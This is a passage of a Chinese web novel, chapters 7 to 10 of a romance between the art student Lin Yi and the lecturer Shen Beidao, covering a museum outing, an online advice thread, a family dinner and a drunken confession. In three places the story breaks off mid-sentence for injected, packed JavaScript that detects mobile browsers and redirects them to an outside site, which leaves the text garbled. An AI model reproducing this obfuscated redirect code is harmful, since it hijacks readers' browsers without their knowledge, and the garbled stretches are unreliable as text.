“时间有点久,那我们去外面逛逛吧?我看旁边有个公园,好像还不错。” 沈北岛看着他眼中掩饰不住的期待,点了点头,声音温和道:“好。” 7. 第 7 章 在出发前,林逸特意去了洗手间。 他站在镜子前,拨弄了几下额前的碎发,又对着镜子里那张无可挑剔的帅脸眨了眨眼。 “啧。” 我这是在干什么?本帅哥天生丽质又不是一天两天了......等会儿得想个办法,多制造点肢体接触......争取今天就把他拿下! 他刚走出洗手间,迎面就撞上了一个绝不想在此刻碰到的人。 “林逸?”李锐一脸惊讶,“你怎么在这儿?泽轩也约了你吃饭吗?” “张泽轩?”林逸心里预感不妙,“他也在这儿?” “嗯!”李锐点头,晃了晃手机,“他说找我有事,就在五楼餐厅,既然碰上了,就一起吧?” “哎……”林逸连忙摆手,下意识地朝休息区的方向瞥了一眼,现在正是人流量最大的时候,一眼望去看不到沈北岛,“李锐,我还有事呢……特别急的事。” 李锐权当他在开玩笑,拉着他的胳膊,就往前走:“不差这一顿饭的时间,今天泽轩请客,他难得这么大方。” 林逸被他拽得一个趔趄,心里叫苦不迭。他此刻无比“痛恨”这几个发小厚重的、毫无边界感的友谊。 他被李锐半拖半拽地拉向直梯。 此时,沈北岛站在上层休息区的透明玻璃幕墙前,目光不经意地向下扫过熙攘的人流。 他的视线定格在某处。 那个穿着卡通卫衣的明媚身影,正被他最得意的学生亲密地拉着往前走。 李锐脸上洋溢着灿烂的笑容,不时侧头与林逸说笑,林逸虽略显犹豫,但没有挣脱。 两人一前一后,姿态自然,看上去是关系极好的朋友。 沈北岛握着矿泉水瓶的指节收紧了些。 他看着李锐的手自然地搭在林逸的肩头,看着林逸微微偏头时扬起的发梢,看着两人之间那种不容旁人介入的默契...... 玻璃映出他平静无波的侧脸,唯有镜片后的眸光微微沉了下去。 他下意识向前迈出半步,鞋底与光洁的大理石地面相触,发出轻微的叩响。 这声响惊醒了他。 他收住脚步,将那份莫名的躁动不动声色地压回心底,只剩下矿泉水瓶壁上隐约的水珠,无声地洇湿了他的指尖。 恰在此时,他的手机响了,来电显示:李锐。 “沈老师!”电话那头,李锐的声音带着笑意,“我刚想跟您说一声,我准备离馆了,刚才去F区没找到您,就跟您电话说一声哈。” “嗯。”沈北岛的声音听不出任何情绪,目光依旧落在不远处那两道拉扯的身影上。 李锐还想再客套两句,却发现电话已经被挂断了,他有些莫名其妙地摸了摸后脑勺。 林逸也不知道李锐一米七出头的个子,哪来这么大的力气,他愣是甩不开他的胳膊。 在李锐看手机的间隙,林逸双脚像扎了根似的刹在原地:“李锐,等一下。” “怎么了?” “其实,我刚才……约了朋友。”林逸解释得十分随意,“我得去跟他说一声。” “没关系。”李锐笑了笑,圆圆的眼镜后的双眼眯成了月牙,“如果是你同学,叫他一起过来好了。” “那不行!”林逸立刻拒绝,声音顺势拔高几度,引得周围的路人侧目。 他赶紧压低声音,“我……我跟他还不太熟,这么突然拉去聚餐,他肯定不会去的。” 实际上,他脑海里已经浮现出张泽轩那张欠揍的嘴巴,在饭桌上对着沈北岛问东问西,口无遮拦的场景。 以沈北岛那沉默寡言的性子,要是被张泽轩那种话痨加八卦精缠上,绝对会给沈北岛留下极其糟糕的第一印象。 但是,跟李锐碰到了都不去,以张泽轩那唯恐天下不乱的性格,下次见面肯定又要给他扣上一顶“见色忘义”的大帽子,能念叨他半年。 进退两难间,林逸想了想,才说:“这样,你把餐厅名告诉我,我先去跟我朋友解释一下,然后过去找你们。” 他说着,用力推了推李锐,自己转身朝着通往休息区的另一个方向快走。 林逸头也不回地朝着身后挥了挥手,然后以百米冲刺的速度跑向仅有两百米距离的休息区。 李锐看看突然挂断电话的手机,再看看林逸,只觉得今天哪里怪怪的。 林逸微喘着气,额角带着细汗,出现在沈北岛面前时,他正静静地站在巨大的玻璃幕墙前,望着外面的城市景色。 夕阳的余晖为他挺拔的背影镀上了一层柔和的金边,那身昂贵的丝绒西装在自然光线下,呈现出另一种深邃的质感。 “沈北岛,我……我……”林逸喘着气,一时间不知该如何开口。 沈北岛闻声转过身,目光平静地落在他因奔跑而泛红的脸上:“又有事?” “……嗯。”林逸有些心虚地低下头,盯着自己的运动鞋,“我刚才……碰到了两个朋友,我们是从小一起长大的发小……他们非要约我一起吃个晚饭。” “可以不去吗?”沈北岛的声音依旧平稳,听不出什么情绪。 “不能……”林逸内心在疯狂呐喊:我也不想去啊!谁想跟他们吃饭,我只想跟你约会啊。 沈北岛静默地注视着他,没有立即回应。 只是不动声色地向前迈了半步,挺拔的身形在灯光下投出一道修长的影子,将林逸完全笼罩其中。 “你答应过我的。”他垂眸,目光掠过林逸微微颤动的睫毛,声音低沉而平缓,“食言可不是好习惯。” 那声音让林逸耳尖发烫,几乎是本能地脱口而出:“那不然?你跟我一起去?” 他的指尖无意识地蜷缩起来:哎哟,我在说什么,沈北岛千万不要答应,千万不要答应…… 沈北岛眼底掠过一丝极浅的波动。 他自然不能同去的,有李锐在场,太多事会变得复杂。 但这个邀约本身,却微妙地取悦了他。 他刻意停顿了片刻,微微倾身,在恰到好处的距离停下,嗓音压得轻柔却清晰:“但我期待的,是只属于我们两个人的约会。” 有什么看不见的东西,轻轻飘过林逸的心尖,让他整颗心都暖了起来,暖烘烘却也有些不安的愧疚。 林逸:“是我没安排好,要不我明天……” “今日事,今日毕。”沈北岛却打断了他,表现得异常通情达理,甚至堪称大度,“我可以等你。” 林逸湿润了:“……” 沈北岛:“等会儿还要等道路救援,你慢慢吃,不用急。” 他越是这样体贴,林逸心里就越是过意不去,他像一只被温柔网住的小兔子,竖着耳朵想要保持警觉,却被那恰到好处的温柔抚平了所有不安。 小兔子明明做错了事,这个看似沉稳的人类非但没有展露獠牙,反而用温暖的怀抱将他轻轻拢住,用细腻的耐心抚平他每一根想要炸开的绒毛。 “好,我……我会快点吃。”林逸说着,依依不舍地转身,一步三回头地朝着电梯走去。 可是,走了没几步,他心里那股酸酸涩涩,又满是愧疚的感觉几乎要满溢出来。 他突然停下脚步,像是下定了什么决心,猛地转身,朝着那个依旧伫立在原地的身影跑了回去。 在沈北岛还未来得及反应的目光中,林逸已经张开双臂迎了上去。 他原本设想的是一个潇洒的拥抱,最好能顺势将沈北岛揽入怀中,展现自己超强男友力! 当他真正扑过去时,他才真切体会到两人之间的差距。 沈北岛挺拔的健硕的身形让他不得不踮起脚尖,原本计划中充满男友力的拥抱,变成了双手轻轻环住对方脖颈的亲昵姿态。 可这样还是会让他心跳失速。 在他勾住对方的瞬间,沈北岛似乎下意识地微微俯身配合了他。 这个细微的动作,迫使林逸的鼻尖掠过沈北岛的鼻梁,温热的呼吸在咫尺之间无声交融。 他们近得能在对方深色的瞳孔里看见自己小小的倒影。 林逸的视线不由自主地微微下移,落在若即若离的薄唇上,喉结轻轻滑动。 周围瞬间弥漫开难以言喻的暧昧气息,林逸能闻到沈北岛身上淡淡烟草的余香,手指触碰到的颈间肌肤传来温热的触感,将两人交错的呼吸都笼在这方寸之间。 林逸的脸颊以肉眼可见的速度迅速泛红,但还是强作镇定,用带着点撒娇和保证的语气,在极近的距离下小声说: “我会很快的……你乖乖等我。” 他顿了顿,又说,“我……我会想办法补偿你的。” 沈北岛深邃的目光凝视着近在咫尺的这双桃花眼,那里面的潋滟水光和无措的羞涩。 他喉结微动,一只手下意识地想要抬起,去搂住纤细又柔韧的腰肢。 然而,就在他的指尖即将触碰到对方卫衣面料的前一秒,林逸却像只受惊的兔子,猛地松开了手,向后跳开了半步。 这个拥抱来得突然,去得也相当突兀。 林逸觉得再这么抱下去,自己可能会因为心动过速而晕厥。 他留给沈北岛一个混合着歉意的,些许慌乱的眼神,再次转身,跑向了电梯,背影都透着点落荒而逃。 沈北岛僵在半空的手缓缓放下,指尖似乎还残留着对方发梢擦过时的微痒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804004|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他伫立在原地,感受着怀里骤然消失的温热和重量,还有空气中尚未散尽的,属于林逸的气息。 他那平日里没什么表情的脸上,唇角向上牵动了一下,一抹极淡却真实存在的甜意,悄然融化了他眼底的漠然。 就在这时,他口袋里的手机震动了一下。 他拿出来一看,是林逸发来的微信。 微信备注修改: 【林逸】改为【小兔子】 【小兔子】[转账1314.00] 【小兔子】[动态表情包:一只耷拉着耳朵的兔子,跪在地上,双手举着“老婆我错了”的牌子,眼巴巴地看着屏幕] 沈北岛看着那个不知缘由的转账和那个表情包……又想到刚才仓促又主动的拥抱,以及林逸说要“补偿”他的话…… 他无奈地摇了摇头,唇角那抹笑意又加深了些许,低声自语:“原来他喜欢这样……” 他收起手机,走向电梯。 既然林逸不在,道路救援也没必要演下去了,他打开了app,线上解锁了汽车。 看着副驾驶的那一串车钥匙,他盯了一会才拿起来,放在眼前着重观察了一番,突然闻到那串冰冷的钥匙拥有了特定的香味。 他打开了手机上一个不常用的app。 在搜索栏里输入:男人和男人怎么谈恋爱 页面跳转,第一条是一个标注[hot]的热门帖子,标题极具煽动性: 【男同恋爱之前必看!一分钟带你速通男男恋爱潜规则,尤其是最后一条,不看后悔一辈子】 沈北岛点开帖子,内容开头便简单粗暴地写道: `第一步:先分清攻or受! 大概就是几种情况:你在上压他是攻(1),你在下被压是受(0),你俩交替上下则为互攻/互受(0.5)…… 沈北岛耐着性子快速浏览了一下这条充满了各种网络用语和夸张描述的帖子,然后在帖子下方的提问区,慎重地输入了自己的问题: 【求助:刚认识的男性朋友,见面给我买了奶茶,临时有事离开后向我转账1314元,还发表情包叫我“老婆”,请问这种情况怎么分配1、0或者0.5】 热帖不愧是热帖,刷到的用户全都是活粉,立马就有了回复: 【1楼】1314?还叫老婆?这还不明显吗 【2楼】诡计多端的1 【3楼】他都想好体位了,你还在这里纠结数字的真谛 【4楼】只有我注意到“刚认识”这三个字吗?刚认识就叫老婆,转账1314……怕不是个情场海王吧?小心被套路啊(不过还算大方) 【5楼】建议回个250,看看他什么反应 楼主:谢谢各位。补充:他比我小八岁,是艺术生,分别时主动抱了我,说会补偿。 【6楼】补偿?怎么补?补哪里?展开说说(竖起耳朵) 【7楼】盲猜他下一句是:“叔叔,我不想努力了。” 【8楼】差八岁?再多四年就凑够一轮了,这放在整个恋爱界都是相当炸裂的… 【9楼】求后续!我要看看怎么补偿! 【10楼】他说的补偿该不会是......(自动变色) 【11楼】这分明是在钓你啊!楼主快醒醒! 【12楼】尊嘟假嘟?艺术生玩这么大的吗? 【13楼】楼主你别太爱了!这是高手局 【14楼】emmm...这很难评,隔行如隔山,一和零思维有壁 【15楼】建议楼主下载反诈APP 【16楼】楼主你是不是在玩一种很新的养成play 【17楼】好厨子一句话就是一顿饭 …… 沈北岛看着这些五花八门,甚至自相矛盾的回复,有些头疼地按了按太阳穴。 网络世界的复杂程度,似乎不亚于他正在研究的某个古德语文献。 而与此同时,林逸根据李锐发来的信息,找到了五楼那家名为“旅茶”的餐厅。 穿着制服的服务员微笑着将他引向了最里面的一个包间。 林逸一边推门,一边用尽量轻松的语气说道:“今天谁请客,这么大方?居然还专门定了个包……” 他的话音,在看清包间内坐着的人时,戛然而止。 圆桌旁,除了笑得一脸促狭的张泽轩之外,竟然还坐着一位他绝对没想到会出现在这里的人,谢醇。 张泽轩看到林逸,更是吓得直接从椅子上弹了起来,活像见了鬼:“林逸!你、你怎么找到这儿来的?!” 放眼扫过去,谢醇旁边还坐着之前那个不安好心的实习生。 8. 第 8 章 林逸转头就要走,李锐眼疾手快地拉住他的手腕,“林逸,我真不知道叔叔也在。张泽轩只说要请我吃饭,我还以为就……” 林逸推开他的手,漂亮的桃花眼里浮现出点滴的烦闷:“你觉得张泽轩那个铁公鸡会这么大方吗?” 被点名的张泽轩立刻不乐意了,从椅子上跳起来:“喂喂!你俩当着我的面蛐蛐我,这很不道德好吗?” 话虽这么说,他还是三步并作两步从包间最里面窜到门口,一把搂住林逸的肩膀,嬉皮笑脸地说:“逸哥,来都来了,给个面子?虽然我也没想到李锐会把你叫来,但既然都碰上了,吃完再走呗?” 林逸的目光越过张泽轩的肩膀,瞥了一眼端坐在里面的谢醇。 尽管他不待见这个父亲,但在朋友面前,他还是想维持表面父子的体面。更何况,如果现在执意离开,等会儿见到沈北岛也不好解释。 他勉强点了下头,算是默许。 谁知张泽轩这个看热闹不嫌事大的,直接推着林逸就往里走,来到谢醇旁边的位置,对着坐在那里的年轻实习生扬了扬下巴:“那个小谁,你起来一下,让林逸坐这儿。” 那实习生显然被这突如其来的命令惹恼了,皱着眉反驳:“那么多空位,为什么非要我让?还有,我叫杜小满,不叫小谁。” “小满?我管你大雪还是立春!”张泽轩一副蛮不讲理的架势,“知道这是谁吗?我逸哥哥,我们这帮朋友里的老大!老大不坐主座谁坐?你算哪根葱啊,坐边儿去!” 这话火药味十足,杜小满瞬间涨红了脸,猛地站起身,看向谢醇,语气里隐忍着委屈:“谢总,我去车里等您,这饭我就不吃了。” 全场都听出了他话里那股酸劲儿。 谢醇张了张嘴,似乎想打个圆场,但林逸已经毫不客气地一屁股坐下,不管旁边的实习生,拿起一个干净的杯子倒上了酒,对着谢醇举杯:“爸,好久不见,我敬你一杯。” 前天才见过,是挺久的。 谢醇看了看离开的杜小满,又看了看身边神色淡漠的儿子,最终还是端起酒杯,和林逸轻轻碰了一下:“嗯,干杯。” 几杯酒下肚,气氛稍微缓和了一些。 谢醇看情况也差不多了,放下筷子,随意的提及:“小逸,我听说你们学校现在鼓励实习?江州分公司这边正好缺个负责人,你看……” “不去……”林逸想都没想就要拒绝。 “叔叔!”张泽轩高声打断林逸,脸上闪现谄媚的笑容,“我也正想找个地方实习呢!您看我能行不?我不要求别的,林逸要是去当负责人,我就给他当个助理就行!” 他这话看似在为自己争取,实则是替林逸接下了这个提议,把退路给堵死了。 林逸瞪了张泽轩一眼:“你最近不是忙着打你的游戏比赛吗?还有空上班吗?” “害!逸哥,这你就不懂了,我这叫生活工作两不误!” 张泽轩凑近林逸,压低声音说道,“我们那破学校跟你那重点大学比不了,没有实习证明和三方协议根本不发毕业证!好不容易碰上实习的机会,我不得争取一下?” 他说完又转向谢醇,语气带上了几分撒娇的意味,“我的亲叔,您就给我个机会吧,我保证不给林逸拖后腿!” 谢醇被他逗笑了,目光温和地看向林逸:“好啊,那你们俩商量一下,我这边通知人事,随时可以给你们安排。” 张泽轩:“谢谢叔叔,我敬您一杯!” 谢醇笑着与他碰杯,两人眼神碰撞间,各自会意。 林逸心里憋着一股火,说道:“既然您这么贴心,那干脆把李锐也一起加上,光安排张泽轩算怎么回事?” 正在安静吃菜的李锐突然被点名,立刻摆手:“不用麻烦叔叔了,我在准备考研,时间不太够。” 谢醇笑着点头:“李锐还是那么爱学习。” 自此,张泽轩的嘴巴就没有闭上过,开始煽情式忆往昔:“叔叔您不知道,小时候林逸可威.猛了! 有一次我被隔壁街的胖子欺负了,还是林逸带着我出气,那家伙,一个打三个都不带怂的!从那时候起,我就认定他是我老大了!” 他说得唾沫横飞,手舞足蹈,极力渲染着他们之间“坚不可摧”的兄弟情谊,试图拉近林逸和谢醇之间的距离…… …… 又勉强闲聊了半个多小时,林逸彻底弄明白了今天这顿饭的用意:无非是谢醇想借机缓和关系,张泽轩顺水推舟想捞个实习机会。 他看时间差不多了,放下筷子,站起身:“我晚上还有课,先回学校了,你们慢慢吃。” 张泽轩立刻化身“头号狗腿”,跟着站起来:“我送送你。” 两人走到餐厅门口,确认四周无人,张泽轩才收起那副嬉皮笑脸的样子,压低声音说:“哥们儿,你放心,有我在,保证把他们搅和黄了,什么东西还觊觎上我叔了。” 林逸:“嗯。” 虽然他看上去吊儿郎当,关键时刻倒是挺靠谱的。 张泽轩顿了顿,脸上又换上那副可怜巴巴的表情,双手合十,“但是三方协议的事,你真得帮我一把……我的毕业证可就指望你了!” 林逸心里早已飞到了地下车库,惦记着还在等他的沈北岛,没心思跟他多纠缠,点点头:“我知道了,啰嗦。” 得到承诺的张泽轩立刻眉开眼笑,变脸比翻书还快:“得嘞!逸哥慢走!祝您回校一路顺风嘿!” 林逸假装慢步走向电梯,看到身后的张泽轩回了餐厅,他这才一路小跑来到地下车库。 那急切的样子,像一只终于被放出笼子,迫不及待奔向“广阔胸膛”的小野兽。 他找到那辆熟悉的黑色迈巴赫,拉开副驾驶的门坐了进去,呼吸里还带着微微的喘息。 “嗯?”沈北岛敏锐地嗅到了一丝酒气,混合着林逸身上原本清爽的香味,形成更加奇特的味道。 他侧头看他:“喝酒了?” “没,没喝多少,”林逸有些心虚地避开他深邃的视线,“就一杯。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不好。”林逸突然咬住下唇,齿尖陷进柔软的唇肉里,这个动作让他眼尾泛起潮湿的红晕,像被露水打湿的桃花。 “怎么不好?”他看到了林逸柔软红润的唇被齿尖咬出了凹陷的浅痕,忍着笑意,观摩着他。 林逸:“人太多,没吃饱。” 沈北岛:“嗯?那要不要去我家里,我给你做夜宵。” “嗯。”林逸不想装了,他现在压根不想去什么破公园!他想要在沙发上,在床上,在任何沈北岛的私人领域…… 沈北岛缓缓退回驾驶座,姿态从容,仿佛刚才那极具侵略性的靠近只是无意之举。 他目视前方,骨节分明的手搭在方向盘上,沈北岛瞥见他这副羞窘的乖巧模样,突然很想给小兔子喂一根草,逗一逗,小兔子可能会应激,气的跳进坏人类的怀里。 怎么才能得逞呢? 这似乎比学术研究难多了…… …… 迈巴赫的对面,杜小满透过车窗,盯着迈巴赫的副驾驶。 从他的角度看去,沈北岛刚才倾身帮林逸系安全带的动作,因为视角误差,两人的侧影重叠,像极了在接吻。 杜小满的眼神瞬间阴沉下来。 他迅速掏出手机,对准对面,连续拍了好几张照片,然后点击发送。 他看着手机屏幕上“发送成功”的提示,嘴角勾起一抹带着报复意味的弧度。 9. 第 9 章 楼主回复71楼:我现在在crush家的沙发上,求助接下来怎么攻略才能一步到位?在线等,求指教! 【72楼】我还以为楼主被crush吃干抹净了! 【73楼】建议先买盒byt,卫生安全也要一步到胃!(狗头旺旺旺) 【74楼】刚才还在车库暗度陈仓,这就登堂入室了? 【75楼】你俩想睡彼此的想法明显得像秃子头上的虱子 【76楼】我赌五毛!今晚必有大事发生!输了我就……再赌五毛! 【77楼】从车库到客厅,再到厨房,再到卧室......楼主,这动线规划尝试一下 【78楼】我已经准备好花生瓜子矿泉水了!楼主,当个事儿办! 【79楼】眼神拉丝会不会?就那种“哥哥我醉了但是只想醉在你怀里“的眼神! 【80楼】都是千年的狐狸玩什么聊斋!楼主直接A上去! 【81楼】 楼主我教你,等他过来你就说:头晕,借个肩膀靠靠。 【82楼】我已经准备好花生瓜子啤酒了! 【83楼】楼主!对付这种闷骚禁欲系,关键就是要明骚!含糊不清的撩拨最适合你! 楼主:好,我试试。 明骚,含糊不清地撩拨? …… 林逸退出论坛,将手机屏幕按熄,指尖还残留着学到那些大胆建议后微微发烫的触感。 他深吸一口气,目光落回厨房里那个挺拔的身影上。 沈北岛正背对着他,在厨房准备简单的餐食。 暖黄的灯光将他西装裤包裹下的臀部线条勾勒出充满力量感的、紧实的弧度。 随着他弯腰的动作,优质的布料微微绷紧,光是想象,就能感受到那里软弹的手感。 林逸单手托腮,指尖无意识地点着桌面,心里像无形的火苗轻轻灼烧着:极品…… 如果当年学人.体构造的时候是沈北岛这种极品当模特,考试的时候一定能持续霸榜! 林逸虽然顶着“情场高手”的名号,列表里躺着长达六十五任的“前男友”。 但他自己内心清楚,这只是为了达成某个目的虚张声势的幌子,是他用来伪装、试探的盾牌。 很多“前男友”甚至连24小时都没撑过就他无情“分手”了,至于更深层次的亲密接触,他经验匮乏得可怜。 他此时的心情像是偷偷揣了只不服管教的兔子,七上八下的。 沈北岛似乎感觉到了身后那道过于灼热的视线,微微侧身,动手卷起了衬衫的袖子,露出一截线条流畅、肤色匀称的小臂。 他脱去了西装外套,仅剩下修身的深色马甲和白色衬衫。 只是随意站在那里,灯光在他身上裁出利落的身影,肩线宽阔,至腰处倏然一收,被马甲束成一道深刻的痕迹。 白衬衫下的背肌随着动作如暗流伏动,每一道线条“沉默”地没入腰际的阴影里。 大约二十分钟后。 沈北岛端着一碗热气腾腾西红柿鸡蛋面走过来,轻轻放在林逸面前的餐桌上,声音是一贯的温和:“你先吃,我再去炒两个菜。” 林逸几乎是下意识地伸出手,拉住了他的手腕,指尖触及的皮肤温热干燥,能感受到他沉稳的脉搏,“够了,别忙了。” 他仰起脸,努力让自己的眼神显得清澈又无辜,带着暗戳戳的依赖,“我吃一点就行,现在都十点了,吃多了也不消化。” 说话间,他的指腹在对方的手腕内侧最柔软的部位极其缓慢地摩挲了一下,算作是网友教的“明骚”。 沈北岛的目光在林逸的手上停留了一瞬,眸色似乎深了些许,他点了下头:“好,那我去给你拿瓶饮料。” “有酒吗?”林逸顺势问道,心脏却因即将实行的大胆想法而微微颤动。 “你想喝?”沈北岛看向他。 “小酌怡情嘛!”林逸弯起那双桃花眼,拖着一点暧昧的尾音,眼神湿漉漉的,“等会儿好早点睡觉。” 都是成年人,有些话无需挑明。 林逸没有提出要回去,沈北岛也没有说过要送他。 两人目光在空中短暂交汇,某种心照不宣的默契在静谧的空气里“滋滋”作响,流淌着成年人之间危险的情绪…… 沈北岛深深地看了他一眼,然后转身,走向冰箱。 趁着这个空隙,林逸的目光被旁边吧台上的一瓶方形洋酒吸引。 他好奇地走过去,指尖抚过玻璃瓶身,观察到酒体清透如水,以及上面的文字标注:[酒精度数55度] “沈同学,”他回过头,声音里带着营造出的好奇,“这个我可以尝尝吗?” 沈北岛正拿着一瓶低度数的葡萄气泡酒走过来,见状,眉头蹙了一下:“那个度数有点高,口感也烈,不适合现在喝。” “没关系。”林逸歪着头,像只充满求知欲又爱撒娇的小猫,“我喜欢尝试没喝过的,可以吗?就一点点。” 他伸出食指和拇指,比了一个“一点点“的手势,充满难以拒绝的恳求。 沈北岛仍在犹豫,这酒虽然口感纯净,但后劲十足,他担心…… 林逸见沈北岛没有反对,便像是得到了默许,迅速拿起旁边一个干净的烈酒杯,倒了满满一杯,仰头就像喝白开水一样,“咕咚咕咚......” “林逸,一次喝三分……” 液体如同火焰,瞬间划过喉咙,带来一阵猛烈而直接的凉意,口感特别好,甚至跟普通的冰饮没有什么区别。 沈北岛的劝阻才刚开了个头,“三分之一”这个词语还没说完,就看到林逸已经将空杯“啪”一声放回了吧台,杯底还残留着些许无色的酒液。 而他本人,从脸颊到脖颈,迅速蔓延开一片淡粉色的红。 酒劲似乎还没立刻冲上头,但一股热意已经在胃里慢慢发酵。 林逸趁着这股借来的酒胆,三步并作两步走到沈北岛面前。 站定。 他感觉自己的脸颊滚烫,耳朵也烧得厉害,但眼神却异常明亮。 甚至因为酒精而蒙上了一层氤氲的水汽,直勾勾地盯着眼前这个让他心动不已的男人。 “沈北岛。” 他开口,声音因为酒精的刺激而带上了一丝微不可察的沙哑和颤抖,“你先听我说,在我说完之前,你不准说话,不准打断我。” 沈北岛看着他以肉眼可见的速度泛红的脸颊和耳尖,蒙上迷离雾气的桃花眼,内心无奈地叹了口气,升起一丝悔意:早知如此,真该提前把这瓶酒藏起来,或者至少……兑点水。 他预想的夜晚,不该始于一场酩酊大醉。 “我......”林逸深吸一口气,才继续说,“我从在咖啡店见你第一眼,就对你感觉特别不一样……” 他伸出手,似乎想抓住什么,最后只是无力地在空中晃了一下,抓住了空气。 “虽然我们才认识……五六天?但是,爱情是不分时间长短的!我特别、特别、喜欢……” 他努力地组织着语言,想把论坛里学来的,自己心里翻腾的所有滚烫情话都倾倒出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804006|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然而大脑却像是突然断了线的风筝,开始不受控制地飘远。 眼前的沈北岛从一个变成了两个,轮廓开始模糊,并且开始有规律地左右晃动起来...... “嗯?地,地震了吗?” 林逸困惑地甩了甩越来越沉的脑袋,试图驱散这恼人的眩晕感,但身体却不听使唤地向前软倒,恰好落入一个坚实而温暖的怀抱。 熟悉的气息瞬间包裹了他。 “我还没说完呢……” 他迷迷糊糊地抱怨,脸颊无意识地在质地精良的衬衫上蹭了蹭,像只寻求安慰的小野猫,“沈北岛,你那么着急抱着我做什么……我还没说完……我……我喜……” 最后的“喜欢你”还是没能完全说出来,如同消散的叹息,湮灭在衣料的纤维里。 林逸的头彻底垂了下来,沉甸甸地靠在沈北岛的胸膛上,陷入了酒精编织的、深沉的黑暗之中。 他温热的呼吸透过薄薄的衬衫面料,熨烫着沈北岛的皮肤…… 沈北岛僵硬地站在原地,感受着怀里骤然增加的重量和那毫无防备的依赖姿态。 他低头,看着林逸紧闭的双眼,那为醉酒而愈发红润的唇瓣…… 他按了按太阳穴,感到一阵前所未有的头疼。 他抬腕看了一眼手表,从进门到现在,除去做饭的时间,他们真正独处的时间,竟然只有可怜的三分钟。 早知如此,真不该在家里放这种“惹是生非”的烈酒。 他认命地叹了口气,弯下腰,小心翼翼地将林逸打横抱起。 年轻人比他想象中还要轻一些,蜷缩在他怀里的样子,褪去了所有的张扬,只剩下全然的信任与脆弱。 沈北岛将他抱进卧室,动作轻柔地放在自己那张宽敞的大床上,替他脱掉鞋子,拉过柔软的羽绒被,严严实实地盖到下巴。 沉睡中的林逸显得格外乖巧,只是眉头微微蹙着,仿佛在梦里还在为什么事情困扰。 沈北岛在床边静静站了片刻,目光复杂地掠过少年安静的睡颜,最终只是无声地关掉了主灯,只留下一盏昏暗的床头灯,然后轻轻带上了房门。 回到餐厅,看着那碗只被尝了一口的西红柿鸡蛋面,沈北岛默默坐下,拿起林逸用过的那双筷子,开始吃晚饭。 他一向不爱浪费食物。 他想,只是为了不浪费粮食。 这时,林逸遗落在餐桌上的手机突然亮起,紧接着,尖锐的铃声一遍又一遍,执着得如同催命符。 沈北岛本不打算理会,他没有任何立场去接听别人的私人电话。 但那铃声毫无停歇的迹象,在空旷的房间里显得格外刺耳,搅得人心神不宁。 他最终还是拿过了手机,屏幕上显示着两个字【妈妈】 沈北岛担心是家里有什么急事找不到人,沈北岛犹豫再三,指尖在绿色的接听键上悬停片刻,还是按了下去。 他还没来得及开口说一句“您好”,电话那头立刻传来一个女人撕心裂肺,带着哭腔和浓重绝望的尖锐吼声: “林逸!你又去单独见谢醇了?!是不是非要逼死我才甘心!你就这么贱吗?非要跟男人搞在一起啊?非要学你爸!要把妈妈彻底毁了你才满意啊?......” 一连串的质问、哭喊、诅咒,如同冰水混合物,劈头盖脸地砸来。 只是,电话那端的风暴未能让沈北岛动容,他的目光沉重地看向卧室的方向...... 他担心,这只小兔子的秘密一旦被发现,会不会将他萌动的心拖入无底深渊…… 10. 第 10 章 电话那端尖锐的哭喊与质问持续了将近两分钟,才因力竭而稍稍停歇,只剩下压抑的抽泣声。 沈北岛始终沉默地听着,直到电话那头的声音平息得差不多了,他才冷静地开口: “您好,女士。我是江州大学外国语学院的教师,沈北岛,如果您需要核实,可以查询我的工号118……” 他的声音不高,却有一种能让人镇定下来的力量,没等那边有所回应,继续说:“关于林逸,我想这其中可能存在一些误会。” “今天白天,省博物馆有一场线下活动,我的学生李锐是活动的志愿者,林逸同学是来给李锐帮忙的。 因为我车上有一些备用的矿泉水需要搬运到场馆,我请他们到我车里取过东西。” 他语速均匀,逻辑清晰,像在陈述一个客观事实:“您收到的照片,拍摄于主副驾驶。我推测……年轻人对这辆车有些好奇,留影纪念,也算是正常。” 他巧妙地避开了具体动作的描述,将焦点引向了车辆本身。 他妈妈发来的照片十分模糊,只有两个黑色的人影紧挨着,林逸因为露了半张脸,所以能辨认出来,但是另外一个男人是背对镜头的,看不清是谁。 “您可以联系一下李锐同学核实,他应该更清楚当时的情况。” 电话那头的女人显然被这番冷静且信息量十足的解释弄得有些懵,沉默了几秒,才带着迟疑和未散尽的鼻音问:“那……林逸的手机,怎么会在你这里?” “他把背包落在我车上了。” 沈北岛的语气浮上属于师长的无奈,“我给他打过电话,林逸说这是他的备用手机,不常用,明天会过来取。” 他甚至没有给对方仔细思考“备用手机”这个说辞的时间,自然地抛出了下一个问题: “另外,女士,能否请您告诉我,发送这张照片的手机号码? 作为老师有责任关注学生的身心健康,如果是同学之间的恶作剧,或者存在其他不良动机,我需要了解情况,进行适当的引导和教育。” “学生嘛,首要任务还是学习,应该要有学生的样子。” 他刻意在此处加重了语气,深化正统价值观:“至于您提到的同性恋的问题,请您放心,我们作为教育工作者,自然是持不鼓励的态度。如果学生之间真的存在不当行为,作为老师也会以合适的方式私下进行引导。” 他这番话说得滴水不漏,既表明了师长的立场,又暗示会低调处理,最大限度地安抚了对方敏感而激动的神经。 